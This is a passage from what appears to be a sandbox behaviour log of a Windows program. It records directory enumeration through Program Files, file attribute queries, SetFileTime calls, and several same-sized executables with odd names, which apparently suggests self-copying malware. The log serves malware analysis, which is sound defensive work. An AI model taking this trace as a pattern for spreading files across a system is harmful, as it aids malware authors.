dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0089.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xad14fe60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x9d590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xadeffce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x79590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9322e700, ftCreationTime.dwHighDateTime=0x1cbae3c, ftLastAccessTime.dwLowDateTime=0xae1d3700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9322e700, ftLastWriteTime.dwHighDateTime=0x1cbae3c, nFileSizeHigh=0x0, nFileSizeLow=0xe0db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPC.dll", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b4fa00, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadf25e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa9b4fa00, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0xf9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x20d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba4fb00, ftCreationTime.dwHighDateTime=0x1cab7d7, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba4fb00, ftLastWriteTime.dwHighDateTime=0x1cab7d7, nFileSizeHigh=0x0, nFileSizeLow=0x5ef90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x16f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSCOPY.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd688b020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x22568, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVB.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x22768, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x3c378, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVS.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52af2500, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xad423880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52af2500, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x89190, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x582978, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0089.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 0 [0089.043] GetLastError () returned 0x12 [0089.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.043] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0089.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.044] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f79c40, ftCreationTime.dwHighDateTime=0x1d54f7a, ftLastAccessTime.dwLowDateTime=0xf3b36d20, ftLastAccessTime.dwHighDateTime=0x1d5ae40, ftLastWriteTime.dwLowDateTime=0xf3b36d20, ftLastWriteTime.dwHighDateTime=0x1d5ae40, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="struggle_invited_gender.exe", cAlternateFileName="")) returned 1 [0089.044] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f79c40, ftCreationTime.dwHighDateTime=0x1d54f7a, ftLastAccessTime.dwLowDateTime=0xf3b36d20, ftLastAccessTime.dwHighDateTime=0x1d5ae40, ftLastWriteTime.dwLowDateTime=0xf3b36d20, ftLastWriteTime.dwHighDateTime=0x1d5ae40, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="struggle_invited_gender.exe", cAlternateFileName="")) returned 0 [0089.044] GetLastError () returned 0x12 [0089.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.044] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.045] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="")) returned 1 [0089.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.045] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8" (normalized: "c:\\program files (x86)\\microsoft visual studio 8"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8" (normalized: "c:\\program files (x86)\\microsoft visual studio 8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.046] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.046] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.046] NtClose (Handle=0x124) returned 0x0 [0089.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.047] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0089.047] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.047] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed9ae20, ftCreationTime.dwHighDateTime=0x1d5a1bc, ftLastAccessTime.dwLowDateTime=0x99350330, ftLastAccessTime.dwHighDateTime=0x1d5a2bb, ftLastWriteTime.dwLowDateTime=0x99350330, ftLastWriteTime.dwHighDateTime=0x1d5a2bb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0089.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.049] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60f4120, ftCreationTime.dwHighDateTime=0x1d5b37b, ftLastAccessTime.dwLowDateTime=0x65f15150, ftLastAccessTime.dwHighDateTime=0x1d59f0e, ftLastWriteTime.dwLowDateTime=0x65f15150, ftLastWriteTime.dwHighDateTime=0x1d59f0e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.exe", cAlternateFileName="")) returned 1 [0089.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.050] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cab1040, ftCreationTime.dwHighDateTime=0x1d5550e, ftLastAccessTime.dwLowDateTime=0x1b96db20, ftLastAccessTime.dwHighDateTime=0x1d58a91, ftLastWriteTime.dwLowDateTime=0x1b96db20, ftLastWriteTime.dwHighDateTime=0x1d58a91, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="")) returned 1 [0089.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0089.052] GetLastError () returned 0x12 [0089.052] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.052] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed9ae20, ftCreationTime.dwHighDateTime=0x1d5a1bc, ftLastAccessTime.dwLowDateTime=0x99350330, ftLastAccessTime.dwHighDateTime=0x1d5a2bb, ftLastWriteTime.dwLowDateTime=0x99350330, ftLastWriteTime.dwHighDateTime=0x1d5a2bb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60f4120, ftCreationTime.dwHighDateTime=0x1d5b37b, ftLastAccessTime.dwLowDateTime=0x65f15150, ftLastAccessTime.dwHighDateTime=0x1d59f0e, ftLastWriteTime.dwLowDateTime=0x65f15150, ftLastWriteTime.dwHighDateTime=0x1d59f0e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.exe", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cab1040, ftCreationTime.dwHighDateTime=0x1d5550e, ftLastAccessTime.dwLowDateTime=0x1b96db20, ftLastAccessTime.dwHighDateTime=0x1d58a91, ftLastWriteTime.dwLowDateTime=0x1b96db20, ftLastWriteTime.dwHighDateTime=0x1d58a91, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="")) returned 1 [0089.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1 [0089.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.054] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.054] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.054] NtClose (Handle=0x124) returned 0x0 [0089.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.055] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0089.055] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.055] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDE", cAlternateFileName="")) returned 1 [0089.055] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, 